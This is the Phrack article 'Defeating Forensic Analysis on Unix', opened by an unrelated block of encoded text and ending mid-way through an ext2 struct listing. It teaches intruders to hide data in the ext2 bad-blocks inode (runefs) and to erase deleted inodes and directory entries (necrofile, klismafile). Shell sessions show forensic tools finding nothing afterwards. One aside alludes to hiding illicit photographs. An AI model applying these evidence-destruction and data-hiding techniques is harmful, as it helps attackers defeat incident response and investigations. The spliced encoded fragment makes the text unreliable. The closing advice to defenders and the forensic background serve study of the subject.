Cnq3kKEt2H3FMWOMl2UpGsMlv0VWZPUYSibo7eXlm9t3i3encMF0gv5UJPv7 oxcNy5T6Icw/cGoolsAoGSG/K+sS4U9Zzcua6odn59evz69O2gpFcpSHVb2o H1cYvfwGvT29vllcXF79KINYHCUpH4oxafGIKeDwVUIYLxN8+CpbVHi5z2Bb 7eRl+YFY9T6s7mktaGiC2uqcvGHt3c3V4uzqatwWtjy+PL+WS/bR76MXEu9H oImfm0SOi18J71C35d8+EQr8mDaeNO4KMkFq64hV/3r0Illt6rHC92dGQky6 VSMjhmF9Tamp+dbEW8MKj1vbAQEv39QgzZg7CWStcb1ZF0xNJ6PPvPuMHtYZ 8fgoK0wOz72R3hdnV0ZrBrZcErbuloTZBe0SacUlTSuimztcL9JqzBuuWIrf JX593SiFgBFagr1alCtcMI+eoMvFt1dnp8RjrxfnV+//cov+wX993/665Mhh

XS6zmGgqHv+JoB2+ShdxuSnq/RO4t/q3TVUjYrmQhomHcF3AtWe44MxbB/py dfiKqmBMMibt3dcJqrK/4zIdNxn7pIvwKquyUiVLm3QKxiVUTRJEi/Oy4uDT faZ3PU6M7nCxoNKPG8VzYzWdfe9ovSkO43VZVEfZJXbe/7bHsXQLjQqqzAX+ hOPGoqRsq0FpCcRJmgUBkdBlec5CI808Fp2IQMRLEn8IxATRO8SHr9j1Y9Gj eDa7eYy+YQGOljLhlFIkiX/CKIRTKrRQ/Hn0gnIvIqFOQjsVwnmFUZeXlxIv crTvtPMhXWNDts67iNy8Hy/xMl49jlsjTMSV8Ul7sVx0SQIh7EUtddIDUxhh ZG+hxgSngKEMRoJ2IGzGL6IOJhJp9sMyzPMyHnNH1y+aE4f//rt3/H8AIJZt

jAgqoK0dWo0QkgvArffjerk6zqs9pVhTGC06GNP/LuJgn4w+7cV5C27O04J9 JPmyqhWhCklBmnKHalBS4FSKi/pcgqtwqHk/j/4JM0vxWXxDAAA=

====

<‑‑>

Defeating Forensic Analysis on Unix

==Phrack Inc.==

Volume 0x0b, Issue 0x3b, Phile #0x06 of 0x12

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Defeating Forensic Analysis on Unix ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑=[ the grugq <grugq@anti‑forensics.com> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ www.anti‑forensics.com ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Contents

1 ‑ Introduction

1.1 ‑ Generic Unix File Systems

1.2 ‑ Forensics

2 ‑ Anti‑Forensics

3 ‑ Runefs

3.1 ‑ Creating hidden space

3.2 ‑ Using hidden space

3.3 ‑ TCT unclear on ext2fs specifications

4 ‑ The Defiler's Toolkit

4.1 ‑ Necrofile

4.1.1 ‑ TCT locates deleted inodes

4.1.2 ‑ Necrofile locates and eradicates deleted inodes 4.1.3 ‑ TCT unable to locate non‑existant data

4.2 ‑ Klismafile

4.2.1 ‑ fls listing deleted directory entries 4.2.2 ‑ Klismafile cleaning deleted directory entries 4.2.3 ‑ fls unable to find non‑existant data

5 ‑ Conclusion

6 ‑ Greets

7 ‑ References

8 ‑ Appendix

8.1 ‑ The Ext2fs

8.2 ‑ runefs.tar.gz (uuencoded)

8.3 ‑ tdt.tar.gz (uuencoded)

‑‑[ 1 ‑ Introduction

Anti‑forensics: the removal, or hiding, of evidence in an attempt to mitigate the effectiveness of a forensics investigation.

Digital forensic analysis is rapidly becoming an integral part of incident response, capitalising on a steady increase in the number of trained forensic investigators and forensic toolkits available. Strangly, despite the increased interest in, and focus on, forensics within the information security industry, there is surprisingly little discussion of anti‑forensics. In an attempt to remedy the lack of coverage in the literature, this article presents anti‑forensic strategies to defeat digital forensic analysis on Unix file systems. Included are example implementations of these strategies targeting the most common Linux file system ‑‑ ext2fs.

To facilitate a useful discussion of anti‑forensic strategies it is important that the reader possess certain background information. In particular, the understanding of anti‑forensic file system sanitization requires the comprehension of basic Unix file system organisation. And, of course, the understanding of any anti‑forensic theory demands at least a rudimentary grasp of digital forensic methodology and practise. This article provides a limited introduction to both Unix file systems and digital forensics. Space constraints, however, limit the amount of coverage available to these topics, and the interested reader is directed to the references, which discuss them in greater depth.

‑‑‑‑[ 1.1 ‑ Generic Unix File Systems

This section will describe basic Unix file system theory (not focussing on any specific implementation), discussing the meta‑data structures used to organise the file system internally. Files within the Unix OS are continuous streams of bytes of arbitrary length and are the main abstraction used for I/O. This article will focus on files in the more general sense of data stored on disk and organised by a file system.

The data on a disk compriising a Unix file systems is commonly divided into two groups, information about the files and the data within the files. The organizational and accounting information (normally only visible only to the kernel) is called "meta‑data", and includes the super‑block, inodes and directory files. The content stored in the files is simply called "data".

To create the abstraction of a file the kernel has to transparently translate data stored across one or more sectors on a hard disk into a seemless stream of bytes. The file system is used to keep track of which, and in what order, these sectors should be group together into a file. Additionally, these sector groups need to be kept seperate, and individually distinguishable to the operating system. For this reason there are several types of meta‑data, each responsible for accomplishing one of these various tasks.

The content of a file is stored on data blocks which are logical clusters of hard disk sectors. The higher the number of sectors per data block the faster the speed of the disk I/O, improving the file system's performance. At the same time, the larger the data blocks the larger the disk space wasted for files which don't end on block boundaries. Modern file systems typically compromise with block size of 4096 or 8192 bytes, and combat the disk wastage with "fragments" (something not dealt with here). The portion of the disk dedicated to the data blocks is organised as an array, and blocks are referred to by their offsets within this array. The state of a given block, i.e. free vs. allocated, is stored in a bitmap called the "block bitmap".

Data blocks are clustered and organised into files by inodes. Inodes are the meta‑data structure which represent the user visible files; one for each unique file. Each inode contains an array of block pointers (that is, indexes into the data block array) and various other information about the file. This additional information about the file includes: the UID; GID; size; permissions; modification/access/creation (MAC) times, and some other data. The limited amount of space available to inodes means the the block pointer array can only contain a small number of pointers. To allow file sizes to be of substantial length, inodes employ "indirect blocks". An indirect block acts as an extension to the block array, storing additional pointers. Doubly and trebly indirect blocks contain block pointers to further indirect blocks, and doubly indirect blocks respectively. Inodes are stored in an array called the inode table, and are referred to by their 0‑based indexes within this table. The state of an inode, i.e. free vs. allocated, is stored in a bitmap called, imaginitively, the "inode bitmap".

Files, that is, inodes, are associated with file names by special structures called directory entries stored within directory files. These structures are stored contigously inside the directory file. Directory entries have a basic structure of:

struct dirent {

int inode;

short rec_size;

short name_len;

char file_name[NAME_LEN];

};

The 'inode' element of the dirent contains the inode number which is linked with the file name, stored in 'file_name'. To save space, the actual length of the file name is recorded in 'name_len' and the remaining space in the file_name array is used by the next directory entry structure. The size of a dirent is usually rounded up to the closest power of two, and this size is stored in 'rec_size'. When a file name/inode link is removed, the inode value is set to 0 and the rec_size of the preceding dirent is extended to encompass the deleted dirent. This has the effect of storing the names of deleted files inside directory files.

Everytime an file name is linked with a file name, and internal counter within the inode is incremented. Likewise, everytime a link is removed, this counter is decremented. When this counter reaches 0, there are no references to the inode from within the directory structure; the file is deleted. Files which have been deleted can safely have their resources, the data blocks and the inode itself, freed. This is accomplished by marking the appropriate bitmaps.

Directories files themselves are logically organised as a tree starting from a root directory. This root directory file is associated with a known inode (inode 2) so that the kernel can locate it, and mount the file system.

To mount a file system the kernel needs to know the size and locations of the meta‑data. The first piece of meta‑data, the super block, is stored at a known location. The super‑block contains information such as the number of inodes and blocks, the size of a block, and a great deal of additional information. Based on the data within the super block, the kernel is able to calculate the locations and sizes of the inode table and the data portion of the disk.

For performance reasons, no modern file system actually has just one inode table and one block array. Rather inodes and blocks are clustered together in groups spread out across the disk. These groups usually contain private bitmaps for their inodes and blocks, as well as copies of the superblock to aid recovery in case of catastrophic data loss.

Thus concludes the whirlwind tour of a generic unix file system. A specific implementation is described in Appendix A: The Second Extended File System. The next section will provide an introduction to digital file system forensics.

‑‑‑‑[ 1.2 ‑ Forensics

Digital forensic analysis on a file system is conducted to gather evidence for some purpose. As stated previously, this purpose is irrelevant to this discussion because anti‑forensics theory shouldn't rely on the intended use of the evidence; it should focus on preventing the evidence from being gathered. That being said, ignorance as to the reasons behind an analysis provides no benefit, so we will examine the two primary motivators behind an investigation.

The purpose of an incident response analysis of a file system is either casual, or legal. These terms are not the standard means to describing motives and because there are significant differences between the two, some explanation is in order.

Legal investigations are to aid a criminal prosecution. The strict requirements on evidence to be submitted to a court of law make subversion of a legal forensic investigations fairly easy. For instance, merely overwriting the file system with random data is sufficient to demonstrate that none of the data gathered is reliable enough for submission as evidence.

Casual investigations do not have as their goal the criminal prosecution of an individual. The investigation is executed because of interest on the part of the forensic analyst, and so the techniques, tools and methodology used are more liberally inclined. Subverting a casual forensic analysis requires more effort and skill because there are no strict third party requirements regarding the quality or quantity of evidence.

Regardless of the intent of the forensics investigation, the steps followed are essentially the same:

* the file system needs to be captured

* the information contained on it gathered

* this data parsed into evidence

* this evidence examined.

This evidence is both file content (data), and information about the file(s) (meta‑data). Based on the evidence retrieved from the file system the investigator will attempt to:

* gather information about the individual(s) involved [who] * determine the exact nature of events that transpired [what] * construct a timeline of events [when]

* discover what tools or exploits where used [how]

As an example to how the forensics process works, the example of the recovery of a deleted file will be presented.

A file is deleted on a Unix file system by decrementing the inode's internal link count to 0. This is accomplished by removing all directory entry file name inode pairs. When the inode is deleted, the kernel will mark is resources as available for use by other files ‑‑ and that is all. The inode will still contain all of the data about the file which it referenced, and the data blocks it points to will still contain file content. This remains the case until they have been reallocated, and reused; overwriting this residual data.

Given this dismal state of affairs, recovering a deleted file is trivial for the forensic analyst. Simply searching for inodes which have some data (i.e. are not virgin inodes), but have a link count of 0 reveals all deleted inodes. The block pointers can then be followed up and the file contents (hopefully) recovered. Even without the file content, a forensic analyst can learn much about what happened on a file system with only the meta‑data present in the directory entries and inodes. This meta‑data is not accessable through the kernel system call interface and thus is not alterable by normal system tools (this is not strictly true, but is accurate enough from a forensics POV).

Unfortunately, accomplishing this is extremely difficult, if not impossible, when the forensic analyst is faced with a hostile anti‑forensics agent. The digital forensics industry has had an easy time of late due to the near absense of anti‑forensics information and tools, but that is (obviously) about to change.

‑‑[ 2 ‑ Anti‑Forensics

In the previous section forensic analysis was outlined, and means of subverting the forensic process were hinted at, this section will expand on anti‑forensic theory. Anti‑forensics is the attempt to mitigate the quantity and quality of information that an investigator can examine. At each steps of the analysis, the forensics process is vulnerable to attack and subversion. This article focuses primarily on subverting the data gathering phase of a digital forensics investigation, with two mechanisms being detailed here: the first is data destruction, and the second data hiding. Some mention will also be given to exploiting vulnerabilities throughout the analytic process.

The digital forensics process is extremely vulnerable to subversion when raw data (e.g. a bit copy of a file system) is converted into evidence (e.g. emails). This conversion process is vulnerable at almost every step, usually because of an abstraction that is performed on the data. When an abstraction layer is encountered, details are lost, and details *are* data. Abstractions remove data, and this creates gaps in the evidence which can be exploit. But abstractions are not the only source of error during a forensic analysis, the tools used are themselves frequently flawed and imperfect. Bugs in the implementations of forensic tools provide even greater oppurtunities for exploitation by anti‑forensic agents.

There is little that a remote anti‑forensics agent can do to prevent the file system from being captured, and so focus has been given to exploiting the next phase of a forensic investigation ‑‑ preventing the evidence from being gathered off the file system. Halting data aquisition can be accomplished by either of two primary mechanisms: data destruction and data hiding. Of the two methods, data destruction is the most reliable, leaving nothing behind for the investigator to analyse. Data destruction provides a means of securely removing all trace of the existance of evidence, effectively covering tracks.

Data hiding, on the other hand, is useful only so long as the analyst doesn't know where to look. Long term integrity of the data storage area cannot be garaunteed. For this reason, data hiding should be used in combination with attacks against the parsing phase (e.g. proprietary file formats), and against the examination phase (e.g. encryption). Data hiding is most useful in the case of essential data which must be stored for some length of time (e.g. photographs of young women in artistic poses).

The two toolkits which accompany this article provide demonstration implementations of both data destruction, and data hiding methodologies. The toolkits will be used to provide examples when examining data destruction and hiding in greater detail below. The first anti‑forensics methodology that will be examined in depth is data hiding.

‑‑[ 3 ‑ Runefs

The most common toolkit for Unix forensic file system analysis is "The Coronor's Toolkit"[1] (TCT) developed by Dan Farmer and Wietse Venema. Despite being relied on for years as the mainstay of the Unix digital forensic analyst, and providing the basis for several enhancements [2][3], it remains as flawed today as when it was first released. A major file system implementation bug allows an attacker to store arbitrary amounts of data in a location which the TCT tools cannot examine.

The TCT implementations of the Berkley Fast File System (FFS or sometimes UFS), and the Second Extended File System (ext2fs), fail to correctly reproduce the file system specifications. TCT makes the incorrect assumption that no data blocks can be allocated to an inode before the root inode; failing to take into account the bad blocks inode.

Historically, the bad blocks inode was used to reference data blocks occupying bad sectors of the hard disk, preventing these blocks from being used by live files. The FFS has deprecated the bad blocks inode, preventing the successful exploitation of this bug, but it is still in use on ext2fs. Successfully exploiting a file system data hiding attack means, for an anti‑forensics agent, manipulating the file system without altering it outside of the specifications implemented in the file system checker: fsck. Although, it is interesting to note that no forensic analysis methodology uses fsck to ensure that the file system has not been radically altered.

The ext2fs fsck still uses the bad blocks inode for bad block referencing, and so it allows any number of blocks to be allocated to the inode. Unfortunately, the TCT file system code does not recognise the bad blocks inode as within the scope of an investigation. The bad blocks inode bug is easy to spot, and should be trivial to correct. Scattered throughout the file system code of the TCT package (and the related toolkit TASK) is the following errorneous check:

/*

* Sanity check.

*/

if (inum < EXT2_ROOT_INO || inum > ext2fs‑>fs.s_inodes_count) error("invalid inode number: %lu", (ULONG) inum);

The first inode that can allocate block resources on a ext2 file system is in fact the bad blocks inode (inode 1) ‑‑ *not* the root inode (inode 2). Because of this mis‑implementation of the ext2fs it is possible to store data on blocks allocated to the bad blocks inode and have it hidden from an analyst using TCT or TASK. To illustrate the severity of this attack the following examples demonstrate using the accompanying runefs toolkit to: create hidden storage space; copy data to and from this area, and show how this area remains secure from a forensic analyst.

‑‑‑‑[ 3.1 ‑ Example: Creating hidden space

# df ‑k /dev/hda6

Filesystem 1k‑blocks Used Available Use% Mounted on /dev/hda6 1011928 20 960504 1% /mnt

# ./bin/mkrune ‑v /dev/hda6

+++ bb_blk +++

bb_blk‑>start = 33275

bb_blk‑>end = 65535

bb_blk‑>group = 1

bb_blk‑>size = 32261

+++

rune size: 126M

# df ‑k /dev/hda6

Filesystem 1k‑blocks Used Available Use% Mounted on /dev/hda6 1011928 129196 831328 14% /mnt

# e2fsck ‑f /dev/hda6

e2fsck 1.26 (3‑Feb‑2002)

Pass 1: Checking inodes, blocks, and sizes

Pass 2: Checking directory structure

Pass 3: Checking directory connectivity

Pass 4: Checking reference counts

Pass 5: Checking group summary information

/dev/hda6: 11/128768 files (0.0% non‑contiguous), 36349/257032 blocks #

This first example demonstrates the allocation of 126 megabytes of disk space for the hidden storage area, showing how this loss of available disk space is registered by the kernel. It is also evident that the hidden storage area does not break the specifications of the ext2 file system ‑fsck has no complaints.

‑‑‑‑[ 3.2 ‑ Example: Using the hidden space

# cat readme.tools | ./bin/runewr /dev/hda6

# ./bin/runerd /dev/hda6 > f

# diff f readme.tools

#

This second example shows how data can be inserted and extracted from the hidden storage space without any data loss. While this example does not comprehensively explore the uses of a hidden data storage area, it is sufficient to demonstrate how data can be introduced to and extracted from the runefs.

‑‑‑‑[ 3.3 ‑ Example: TCT incorrect ext2fs implementation

# ./icat /dev/hda6 1

/icat: invalid inode number: 1

#

This last example illustrates how the forensic analyst is incapable of finding this storage area with the TCT tools. Clearly, there are many problems raised when the file system being examined has not been correctly implemented in the tools used.

Interesting as these examples are, there are problems with this runefs. This implementation of runefs is crude and old (it was written in November 2000), and it does not natively support encryption. The current version of runefs is a dynamicly resizeable file system which supports a full directory structure, is fully encrypted, and can grow up to four gigabytes in size (it is private, and not will be made available to the public).

The final problem with this runefs in particular, and the private implementation as well, is that the bad blocks data hiding technique is now public knowledge (quite obviously). This highlights the problem with data hiding techniques, they become out dated. For this reason data hiding should always be used in conjunction with at least one other anti‑forensics technology, such as encryption.

There are more ways of securely storing data on the file system far from the prying eyes of the forensic analyst, and a research paper is due shortly that will detail many of them. However, this is the last this article will mention on data hiding, now the focus shifts to data destruction.

‑‑[ 4 ‑ The Defiler's Toolkit

The file system (supposedly) contains a record of file I/O activity on a computer and forensic analysts attempt to extract this record for examination. Aside from their forensic tools incorrectly reporting on the data, these tools are useless if the data is not there to be reported on. This section will present methodologies for thoroughly eradicating evidence on a file system. These methodologies have been implemented in The Defiler's Toolkit (TDT) which accompanies this article.

The major vulnerablity with data aquisition is that the evidence being gathered must be there when the forensic analyst begins his investigation. Non‑existant data, obviously, cannot be gathered, and without this crucial information the forensic analyst is incapable of progressing the investigation.

File system sanitization is the anti‑forensic strategy of removing this data (evidence), and doing so in such a way so as to leave no trace that evidence ever existed (i.e. leave no "evidence of erasure"). The Defiler's Toolkit provides tools to remove data from the file system with surgical precision. By selectively eradicating the data which might become evidence, the anti‑forensics agent is able to subvert the entire forensics process before it is even begun.

Within a Unix file system all of the following places will contain traces of the existence of a file ‑‑ they contain evidence:

* inodes

* directory entries

* data blocks

Unfortunately, most secure deletion tools will only remove evidence from data blocks, leaving inodes and directory entries untouched. Included with this article is an example implementation of an anti‑forensic toolkit which performs complete file system sanitization. The Defiler's Toolkit provides two tools, necrofile and klismafile, which, combined, securely eliminate all trace of a file's existance.

The Defiler's Toolkit consists of two complimentary tools, necrofile and klismafile. Their design goals and implementation are described here.

‑‑‑‑[ 4.1 ‑ Necrofile

Necrofile is a sophisicated dirty inode selection and eradication tool. It can be used to list all dirty inodes meeting certain deletion time criteria, and then scrub those inodes clean. These clean inodes provide no evidence for the forensic analyst investigating the file system contained on that disk.

Necrofile has some built in capabilities to securely delete all content on the data blocks referenced by the dirty inode. However, this is not the ideal use of the tool because of the race conditions which afflict all tools handling file system resources without the blessing of the kernel.

When necrofile is invoked, it is supplied with a file system to search, and a number of criteria be used to determine whether a given dirty inode should be scrubbed clean. As necrofile iterates through the inode table, it check the state of each inode, with dirty inodes being given extra attention. All dirty inodes that meet the time criteria are written back to the inode table as virgin inodes, and the iteration continues.

‑‑‑‑‑‑[ 4.1.1 ‑ Example: TCT locates deleted inodes

# ./ils /dev/hda6

class|host|device|start_time

ils|XXX|/dev/hda6|1026771982 st_ino|st_alloc|st_uid|st_gid|st_mtime|st_atime|st_ctime|st_dtime|st_mode|\ st_nlink|st_size|st_block0|st_block1 12|f|0|0|1026771841|1026771796|1026771958|1026771958|100644|0|86|545|0 13|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|546|0 14|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|547|0 15|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|548|0 16|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|549|0 17|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|550|0 18|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|551|0 19|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|552|0 20|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|553|0 21|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|554|0 22|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|555|0 23|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|556|0 24|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|557|0 25|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|558|0 26|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|559|0 27|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|560|0 28|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|561|0 29|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|562|0 30|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|563|0 31|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|564|0 32|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|565|0 33|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|566|0 34|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|567|0 35|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|568|0 36|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|569|0 37|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|570|0 #

‑‑‑‑‑‑[ 4.1.2 ‑ Example: necrofile locates and eradicates deleted inodes

# ./necrofile ‑v ‑v ‑v ‑v /dev/hda6

Scrubbing device: /dev/hda6

12 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 13 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 14 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 15 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 16 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 17 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 18 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 19 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 20 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 21 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 22 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 23 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 24 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 25 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 26 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 27 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 28 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 29 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 30 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 31 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 32 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 33 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 34 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 35 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 36 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f 37 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f

#

‑‑‑‑‑‑[ 4.1.3 ‑ Example: TCT unable to locate non‑existant data

# ./ils /dev/hda6

class|host|device|start_time

ils|XXX|/dev/hda6|1026772140 st_ino|st_alloc|st_uid|st_gid|st_mtime|st_atime|st_ctime|st_dtime|st_mode|\ st_nlink|st_size|st_block0|st_block1

#

Little explanation is necessary with these examples. The "ils" tool is part of TCT and lists deleted inodes for potential recovery. The necrofile tool is being run in its most verbose form, as it locates and overwrites the same inodes found by ils. Necrofile is more effective, however, when used to target inodes deleted during specific time slices, leaving all other deleted inodes untouched. This tactic eliminates evidence of erasure, i.e. indications that evidence has been removed. After the deleted inodes have been converted into virgin inodes, ils is justifiably incapable of finding them. After removing the inodes which contain valuable forensic data, the other location which needs to be sanitized is the directory entries.

‑‑‑‑[ 4.2 ‑ Klismafile

Klismafile provides a means of securely overwriting deleted directory entries. When a file name/inode link is terminated, the content of the directory entry is not overwritten; simply included in the slack space of the preceeding entry. Klismafile will search a directory file for these "deleted" entries, and overwrite them. Regular expressions can be used to limit the number of directory entries removed.

When klismafile is invoked, it is provided with a directory file to search, and can optionally recurse through all other directory files it encounters. Klismafile will iterate through the directory entries, and search for dirents which have been deleted. When it encounters a deleted dirent, klismafile will compare the 'file_name' against any regular expressions provided by the invoker (the default is '*'). If there is a match, klismafile will overwrite the dirent with zeroes.

Klismafile is not a completely secure solution. A skilled forensic analyst will note that the preceeding directory entry's rec_len field is larger than it should be, and could infer than a tool such as klismafile has artificially manipulated the directory file's contents. Currently, there are no tools which perform this check, however that will no doubt change soon.

‑‑‑‑‑‑[ 4.2.1 ‑ Example: fls listing deleted directory entries

# ./fls ‑d /dev/hda6 2

? * 0: a

? * 0: b

? * 0: c

? * 0: d

? * 0: e

? * 0: f

? * 0: g

? * 0: h

? * 0: i

? * 0: j

? * 0: k

? * 0: l

? * 0: m

? * 0: n

? * 0: o

? * 0: p

? * 0: q

? * 0: r

? * 0: s

? * 0: t

? * 0: u

? * 0: v

? * 0: w

? * 0: x

? * 0: y

? * 0: z

#

‑‑‑‑‑‑[ 4.2.2 ‑ Example: Klismafile cleaning deleted directory entries

# ./klismafile ‑v /mnt

Scrubbing device: /dev/hda6

cleansing /

‑> a

‑> b

‑> c

‑> d

‑> e

‑> f

‑> g

‑> h

‑> i

‑> j

‑> k

‑> l

‑> m

‑> n

‑> o

‑> p

‑> q

‑> r

‑> s

‑> t

‑> u

‑> v

‑> w

‑> x

‑> y

‑> z

Total files found: 29

Directories checked: 1

Dirents removed : 26

#

‑‑‑‑‑‑[ 4.2.3 ‑ Example: fls unable to find non‑existant data

# ./fls ‑d /dev/hda6 2

#

These examples speak for themselves. The 'fls' utility is part of the TCT‑UTILS package, and is intended to examine directory files. In this case, it is listing all deleted directory entries in the root directory of the file system. Klismafile is then run in verbose mode, listing and overwriting each directory entry it encounters. After klismafile, fls is incapable of noting that anything is amiss within the directory file.

Note: The linux 2.4 kernel caches directories in kernel memory, rather than immediately updating the file system on disk. Because of this, the directory file that klismafile examines and attempts to clean might not be current, or the changes made might get overwritten by the kernel. Usually, performing disk activity in another directory will flush the cache, allowing kilsmafile to work optimally.

The Defiler's Toolkit has been written as a proof of concept utility to demonstrate the inherent flaws with all current digital forensic methodologies and techniques. The toolkit successfully accomplishes the goals for which it was designed; proving that forensic analysis after an intrusion is highly suspect without significant prior preparation of the targeted computers.

‑‑[ 5 ‑ Conclusion

Digital forensic tools are buggy, error prone and inherently flawed. Despite these short comings they are being relied on more and more frequently to investigate computer break‑ins. Given that this fundamentally broken software plays such a key role in incident response, it is somewhat surprising that no‑one has documented anti‑forensic techniques, nor sort to develop counter‑measures (anti‑anti‑forensics). Some suggestions regarding anti‑anti‑forensics methodology are presented here, to provide the security community a foothold in the struggle against anti‑forensics.

The Defilers Toolkit directly modifies the file system to eliminate evidence inserted by the operating system during run time. The way to defeat the defiler's toolkit is to not rely on the local file system as the only record of disk operations. For instance, make a duplicate record of the file system modifications and store this record in a secure place. The simplest solution would be to have all inode updates be written to a log file located on a seperate box. A trivial addition to the kernel vfs layer, and a syslog server would be more than adequate for a first generation anti‑anti‑fornesics tool.

The only means of effectively counteracting an anti‑forensics attack is to prepare for such an eventuality prior to an incident. However, without the tools to make such preparation effective, the computing public is left vulnerable to attackers whose anonymity is assured. This article is intended as a goad to prod the security industry into developing effective tools. Hopefully the next generation of digital forensic investigating tookits will give the defenders something reliable with which to effectively combat the attackers.

‑‑[ 6 ‑ Greets

Shout outs to my homies!

East Side: stealth, scut, silvio, skyper, smiler, halvar, acpizer, gera West Side: blaadd, pug, srk, phuggins, fooboo, will, joe

Up Town: mammon_, a_p, _dose

Down Town: Grendel, PhD.

‑‑[ 7 ‑ References:

[1] Dan Farmer, Wietse Venema "TCT"

www.fish.com/security

[2] Brian Carrier "TCTUTILS" www.cerias.purdue.edu/homes/carrier/forensics

[3] Brian Carrier "TASK" www.cerias.purdue.edu/homes/carrier/forensics

[4] Theodore T'so "e2fsprogs"

e2fsprogs.sourceforge.net

‑‑[ 8 ‑ APPENDIX A

‑‑‑‑[ 8.1 ‑ Ext2fs

In the honored phrack tradition of commented header files, here is a guide to the second extended file system.

The second extended file system (ext2fs) is the standard file system on the Linux OS. This paper will provide an introduction to the file system. Reading this document is no substitute for reading the src, both in the kernel and in the ext2fs library.

What follows is a bottom up description of the ext2 file system; starting with blocks and inodes and concluding, ultimately, with directories.

. o O ( B L O C K S ) O o .

The basic component of the file system is the data block, used to store file content. Typically, the smallest addressable unit on a hard disk is a sector (512 bytes), but this is too small for decent I/O rates. To increase performance multiple sectors are clustered together and treated as one unit: the data block. The typical block size on an ext2fs system is 4096 bytes; however, it can be 2048 bytes or even as small as 1024 (8, 4 and 2 sectors, respectively).

. o O ( I N O D E S ) O o .

The second core part of the file system, the inode, is the heart of the Unix file system. It contains the meta‑data about each file including: pointers to the data blocks, file permissions, size, owner, group and other vital peices of information.

The format of an ext2 inode is as follows:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

struct ext2_inode {

__u16i_mode;/* File mode */

__u16i_uid;/* Owner Uid */

__u32i_size;/* Size in bytes */

__u32i_atime;/* Access time */

__u32i_ctime;/* Creation time */

__u32i_mtime;/* Modification time */

__u32i_dtime;/* Deletion Time */

__u16i_gid;/* Group Id */

__u16i_links_count;/* Links count */

__u32i_blocks;/* Blocks count */

__u32i_flags;/* File flags */

union {

struct {

__u32 l_i_reserved1;

} linux1;

struct {

__u32 h_i_translator;

} hurd1;

struct {

__u32 m_i_reserved1;

} masix1;

} osd1;/* OS dependent 1 */

